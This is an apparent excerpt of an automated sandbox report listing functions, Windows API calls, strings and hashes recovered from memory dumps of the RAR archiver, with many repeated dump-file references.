Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ErrorFileLastWrite$Handle
String ID:
API String ID: 3350704910-0
Opcode ID: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction ID: 310930bd5bdd6e0d7f9e3afa22477e6129eb05d6be22262ccc91cfb79f4091ec
Opcode Fuzzy Hash: ccd0c3e83433efd0ca407849e79df603d5f0c90f747e6cdc6739dd31fcb0c28b
Instruction Fuzzy Hash: FD516C26A1865286EB74DB26E41437A77E0FBA9F84F4401B5DB4EC7AA0CF3CE546C704

Function 00007FF69A401E80 Relevance: 7.6, APIs: 5, Instructions: 127
filetimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE ref: 00007FF69A401F4A
GetLastError.KERNEL32 ref: 00007FF69A401F59
CreateFileW.KERNELBASE ref: 00007FF69A401F99
GetLastError.KERNEL32 ref: 00007FF69A401FA2
SetFileTime.KERNEL32 ref: 00007FF69A401FF1

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: File$CreateErrorLast$Time
String ID:
API String ID: 1999340476-0
Opcode ID: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction ID: 1e838a7a998f537f91ac168717177cae579310e1869f217dc30f64aa515d71f2
Opcode Fuzzy Hash: 892e3554a84f7d5f3af4d66201b4842f90aabb2a874f58c4d931fe245cb08f10
Instruction Fuzzy Hash: 33412472A1869146FB708B28E5057A97AE0EB96FB8F0013B8DE7D836C4DF7DC4458B40

Function 00007FF69A3F6AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF69A3F6C13

Strings

switches_%ls=, xrefs: 00007FF69A3F6C03
switches=, xrefs: 00007FF69A3F6B80
rar.ini, xrefs: 00007FF69A3F6B37

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: swprintf
String ID: rar.ini$switches=$switches_%ls=
API String ID: 233258989-2235180025
Opcode ID: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction ID: d65434f87ce9e41e2ea1a031717647a0f9f89bd8581078a3c80b31026db5e705
Opcode Fuzzy Hash: 7d70d85aa57c4b2adeedb5d1110c6c2e0691d0eb838de4c05f034f10faa9e0d3
Instruction Fuzzy Hash: 27418F21A1868282FA24DF21D8111B933E0EF54BA4F4055F9EA9EC36D6EF7CD946D300

Function 00007FF69A417E20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF69A42B470: GetModuleHandleW.KERNEL32 ref: 00007FF69A42B488
Part of subcall function 00007FF69A42B470: GetProcAddress.KERNEL32 ref: 00007FF69A42B4A0
Part of subcall function 00007FF69A42B470: GetProcAddress.KERNEL32 ref: 00007FF69A42B4D5

Part of subcall function 00007FF69A3F7A68: setbuf.LIBCMT ref: 00007FF69A3F7A7B
Part of subcall function 00007FF69A3F7A68: setbuf.LIBCMT ref: 00007FF69A3F7A8F

SetErrorMode.KERNELBASE ref: 00007FF69A417E5D
GetModuleHandleW.KERNEL32 ref: 00007FF69A417E65

Part of subcall function 00007FF69A4248CC: GetVersionExW.KERNEL32(?,?,?,00007FF69A417E7D), ref: 00007FF69A42496A
Part of subcall function 00007FF69A4248CC: LoadLibraryExW.KERNELBASE(?,?,?,00007FF69A417E7D), ref: 00007FF69A424993

new.LIBCMT ref: 00007FF69A417EA8

Strings

rar.lng, xrefs: 00007FF69A417E7D

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: AddressHandleModuleProcsetbuf$ErrorLibraryLoadModeVersion
String ID: rar.lng
API String ID: 553376247-2410228151
Opcode ID: da8370b5298aa504e96f4bedb37cf3b824543d1dd7ee1d37a7dea72557966179
Instruction ID: c8c53bb46efb41f8b8a6714f325f7eca10bb8ebd94c5b91e2083f78486053e9a
Opcode Fuzzy Hash: da8370b5298aa504e96f4bedb37cf3b824543d1dd7ee1d37a7dea72557966179
Instruction Fuzzy Hash: 56419221E1C68246FB34EB21A4112B973E0DFA1F94F5810F9E91EC72D7CE2DE4158751

Function 00007FF69A4140A4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetMalloc.SHELL32(?,00000800,?,00007FF69A414432,?,?,?,?,00000800,00000000,00000000,00007FF69A4138CB,?,?,?,00007FF69A4141EC), ref: 00007FF69A4140C4
SHGetSpecialFolderLocation.SHELL32(?,?,?,?,00000800,00000000,00000000,00007FF69A4138CB,?,?,?,00007FF69A4141EC), ref: 00007FF69A4140DF
SHGetPathFromIDListW.SHELL32 ref: 00007FF69A4140F1

Part of subcall function 00007FF69A403458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF69A41413F,?,?,?,?,00000800,00000000,00000000,00007FF69A4138CB,?,?,?,00007FF69A4141EC), ref: 00007FF69A4034A0
Part of subcall function 00007FF69A403458: CreateDirectoryW.KERNEL32(00000800,00000000,?,00007FF69A41413F,?,?,?,?,00000800,00000000,00000000,00007FF69A4138CB,?,?,?,00007FF69A4141EC), ref: 00007FF69A4034D5

Strings

WinRAR, xrefs: 00007FF69A41410F

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CreateDirectory$FolderFromListLocationMallocPathSpecial
String ID: WinRAR
API String ID: 977838571-3970807970
Opcode ID: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction ID: 0fc626bd2effef7ca70c1ea947e78c36fcd0771b72fe94cc82ddb5227e231221
Opcode Fuzzy Hash: 415bfa020dc0990cad3e0501dba2d99d0bb0d0c3ec71343b5049903f98ccb042
Instruction Fuzzy Hash: 9D218E66A08B4280EA60AF22F8541BA73A0EF9AFD0B1960B1DF0EC7759DF3CD4548740

Function 00007FF69A44978C Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNELBASE(?,?,?,?,?,?,?,00007FF69A443CEF,?,?,00000000,00007FF69A443CAA,?,?,00000000,00007FF69A443FD9), ref: 00007FF69A4497A5
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF69A443CEF,?,?,00000000,00007FF69A443CAA,?,?,00000000,00007FF69A443FD9), ref: 00007FF69A449807
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,00007FF69A443CEF,?,?,00000000,00007FF69A443CAA,?,?,00000000,00007FF69A443FD9), ref: 00007FF69A449841
FreeEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,?,00007FF69A443CEF,?,?,00000000,00007FF69A443CAA,?,?,00000000,00007FF69A443FD9), ref: 00007FF69A44986B

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$Free
String ID:
API String ID: 1557788787-0
Opcode ID: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction ID: 9d407de6fbbee5277e4cec0748ff96fad806b78d10f7f131864c052806daf663
Opcode Fuzzy Hash: 364642b671081880708a9fd88c74d382691b826692dc9b7a9f4ea86390b8b8db
Instruction Fuzzy Hash: 49218131E1879186EA708F17A440129B6E4FB84FD0F4842B5DE8EA3B95DF7CE8529344

Function 00007FF69A401C74 Relevance: 6.1, APIs: 4, Instructions: 55fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,?,?,00007FF69A4021A7,00000000,00000028,?,00007FF69A3F7792), ref: 00007FF69A401C97
ReadFile.KERNELBASE ref: 00007FF69A401CB6
GetLastError.KERNEL32 ref: 00007FF69A401CEA
GetLastError.KERNEL32 ref: 00007FF69A401D08

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction ID: 58ff6043a427ce57736917a17085703e0014dac74aa3e89a1b84a7358074386f
Opcode Fuzzy Hash: 292f130439141af7737bd2c92edf84b453f5fe027529f60c064a2129a7dd684d
Instruction Fuzzy Hash: 28216D21E0C56682EB708B29E40033972E4FFA3F98F1041F2EA59C66C4CE2DE880A741

Function 00007FF69A42B850 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF69A42BBFC: ResetEvent.KERNEL32 ref: 00007FF69A42BC15
Part of subcall function 00007FF69A42BBFC: ReleaseSemaphore.KERNEL32 ref: 00007FF69A42BC2B

ReleaseSemaphore.KERNEL32 ref: 00007FF69A42B887
CloseHandle.KERNELBASE ref: 00007FF69A42B8A8
DeleteCriticalSection.KERNEL32 ref: 00007FF69A42B8C0
CloseHandle.KERNELBASE ref: 00007FF69A42B8CE

Part of subcall function 00007FF69A42B974: WaitForSingleObject.KERNEL32 ref: 00007FF69A42B97B
Part of subcall function 00007FF69A42B974: GetLastError.KERNEL32 ref: 00007FF69A42B986

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CloseHandleReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 502429940-0
Opcode ID: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction ID: fe161080a398b2273fdc7b79eb58209b352f89f5ed7cff20477803a3204902e4
Opcode Fuzzy Hash: 8563909dc3f60491a00452f33658f3f2e850a11d725ac5753c43192e2d1258eb
Instruction Fuzzy Hash: 07118236A14E4197E2249F20E54466DB3B0FBC6FA0F0012B1DBAE936A5CF39E476C704

Function 00007FF69A3F49F8 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205COMMON

Download Yara Rule

Strings

AFUM, xrefs: 00007FF69A3F4B8C
default.sfx, xrefs: 00007FF69A3F4AB0

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID:
String ID: AFUM$default.sfx
API String ID: 0-2491287583
Opcode ID: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction ID: 27414e84092b83246333c804ae71f36974dce411904d1af4d7974dc6618c14d2
Opcode Fuzzy Hash: 9c5250dc79f526f8b88a1db49316f6b7f6f5dd8f7a69fa39e4eeb80febe8b362
Instruction Fuzzy Hash: 0A81C022A1C68291FB709B1295002BD32E0EF51B84F4480FEDE8DC76D6DF6DA896E750

Function 00007FF69A4465BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF69A44662E
GetFileType.KERNELBASE ref: 00007FF69A446644

Strings

@, xrefs: 00007FF69A44666F

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: FileHandleType
String ID: @
API String ID: 3000768030-2766056989
Opcode ID: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction ID: 8072d5cfdb551fb8525809fbf8b0b27b356f0211a16d2a5561b23ee20b80ec94
Opcode Fuzzy Hash: ac2df8724446a0d51fe7f393cd596ff3ce055ba98acd5cb21c7dcdd1beef0449
Instruction Fuzzy Hash: 09216122A1874241FB748F29A494139B6D5EB85F74F2813F5DA6E8B7D8CE38E881C341

Function 00007FF69A42B9BC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00007FF69A42B9F8
SetThreadPriority.KERNEL32 ref: 00007FF69A42BA4E

Part of subcall function 00007FF69A3FCDA4: wcschr.LIBVCRUNTIME ref: 00007FF69A3FCE0F
Part of subcall function 00007FF69A3FCDA4: wcschr.LIBVCRUNTIME ref: 00007FF69A3FCE22

Part of subcall function 00007FF69A3FCA40: _CxxThrowException.LIBVCRUNTIME ref: 00007FF69A3FCEDE

Strings

CreateThread failed, xrefs: 00007FF69A42BA06

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: Threadwcschr$CreateExceptionPriorityThrow
String ID: CreateThread failed
API String ID: 1217111108-3849766595
Opcode ID: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction ID: 373c51ce437382f8fbff48317b969f39a7aa1d6d819357ec93ef5c1c4ea501a8
Opcode Fuzzy Hash: 23f25dd9d767684a47335cfb6564c8d2137849cd663ca384977e916ef4a87e16
Instruction Fuzzy Hash: E1113D32A18A4282EB24DF24E8441A973A0FB84B84F5481F6EA9DC2669DF7CE557C740

Function 00007FF69A42BB80 Relevance: 4.5, APIs: 3, Instructions: 30COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,00007FF69A42BB79), ref: 00007FF69A42BBB9
SetEvent.KERNEL32 ref: 00007FF69A42BBCF
LeaveCriticalSection.KERNEL32 ref: 00007FF69A42BBD8

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A47E000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A486000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951563373.00007FF69A488000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951623397.00007FF69A48E000.00000002.00000001.01000000.00000021.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_65_2_7ff69a3e0000_rar.jbxd

Similarity

API ID: CriticalSection$EnterEventLeave
String ID:
API String ID: 3094578987-0
Opcode ID: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction ID: 3d5be519be48939db660647394ebdf365ca9b0c92a5d372304d9636453a34513
Opcode Fuzzy Hash: 8fe9f8176e207c020d906139d049f12966b7ba6a10f6a81758c5b7eb42f71044
Instruction Fuzzy Hash: 43F01226A08A4682DE709F11E54407973A1FBC9F99F5451F0DE9DC6669CE2CD546CB00

Function 00007FF69A3F7B44 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(?,?,?,00007FF69A3F7A9E), ref: 00007FF69A3F7B4A
GetFileType.KERNELBASE(?,?,?,00007FF69A3F7A9E), ref: 00007FF69A3F7B56
GetConsoleMode.KERNEL32(?,?,?,00007FF69A3F7A9E), ref: 00007FF69A3F7B69

Memory Dump Source

Source File: 00000041.00000002.1950910064.00007FF69A3E1000.00000020.00000001.01000000.00000021.sdmp, Offset: 00007FF69A3E0000, based on PE: true

Associated: 00000041.00000002.1950873847.00007FF69A3E0000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951008046.00007FF69A450000.00000002.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951046976.00007FF69A468000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951084241.00007FF69A469000.00000008.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A46A000.00000004.00000001.01000000.00000021.sdmpDownload File
Associated: 00000041.00000002.1951128943.00007FF69A474000.00000004.00000001.01000000.00000021.sdmpDownload File
